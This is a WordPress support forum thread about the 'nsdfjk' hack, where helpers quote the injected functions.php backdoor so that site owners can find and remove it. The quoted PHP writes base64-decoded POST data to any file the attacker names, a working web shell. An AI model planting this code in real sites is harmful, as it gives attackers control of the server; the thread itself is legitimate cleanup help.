Support » Fixing WordPress » getting nsdfjk

  • kmiliazainal

    (@kmiliazainal)


    Hi,

    anyone can help me ? I’m getting a blank white page with words nsfdjk. This thing occur if i want to deactivate/activate a plugin, do searching for my post/pages in my wordpress dashboard. I’m trying to google about it, but the results show something related to hack backdoor. Is it true ? If it is, then how can i fix this ?

    Thank you

    The page I need help with: [log in to see the link]

Viewing 8 replies - 1 through 8 (of 8 total)
  • Moderator James Huff

    (@macmanx)

    Volunteer Moderator

    Carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures and start backing up your site.

    Hello Do not worry about this nsdfjk error message you may be hacked but you can recover your files this problem disable all wordpress plugins activation or deactivation and also disable wordpress search because of the existence of this error function in top of your functions.php file
    if(isset($_GET[‘s’])){echo ‘nsd’.’fjk’;if(isset($_POST[‘c’])){file_put_contents($_POST[‘n’],base64_decode($_POST[‘c’]));}die();}?>

    remove this function is written by a hacker and you can normal your wordpress files

    moustafaabdelhady

    (@moustafaabdelhady)

    Hello there,

    I have this issue whenever I try to activate or deactivate any plugin and I saw that the search on the widgets started to give the same error to the website visitors!!
    also the woocommerce was affected as well as I can see that the shipping area is not recognizing any address the visitors try!!!

    @ranaumer I tried to get in there but I couldnt find anything like you stated, do you have any further assistance? 🙁

    @macmanx I followed the article and all the website checkers are giving positive results…as I have issue with installing plugins I could follow that method, what should I do? 🙁

    my website is natuurelle.com

    Ciprian

    (@butterflymedia)

    @ranaumer What would be the reason for this hack? Is this a precursor for scanning all sites with an ?s parameter appended for the nsdfjk string and then POSTing stuff? Is there any other code required for this hack to succeed?

    Rana Umer

    (@ranaumer)

    @moustafaabdelhady Hey! can you please tell me more about your issue?
    If you get this type of error please check your function.php file first then header.php file and remove if you get any extra code. Keep WordPress up to date and change your website passwords.

    Rana Umer

    (@ranaumer)

    @butterflymedia) Hey! yes exactly this is for posting spam on your website. and fetching your details.

    moustafaabdelhady

    (@moustafaabdelhady)

    Hi @ranaumer thank you for your response, really appreciated…
    I don’t know how can I fix it, I made a restore from backup but it is still the same!
    I don’t know what do you mean by extra code because I don’t have any idea about the original code…
    I checked Header.php and the function.php and I searched for nsdfjk and found nothing!

    Can you advice with steps on how to do what?

    Thanks a lot

    Rana Umer

    (@ranaumer)

    @moustafaabdelhady Please try to search this <strong>if(isset($_GET[‘s’])){echo ‘nsd’.’fjk’;if(isset($_POST[‘c’]))</strong>{file_put_contents($_POST[‘n’],base64_decode($_POST[‘c’]));}die();}?> type of function in header.php or function.php if you got it then remove it if you don’t find this function please check your all theme files and third-party plugins.

Viewing 8 replies - 1 through 8 (of 8 total)
  • You must be logged in to reply to this topic.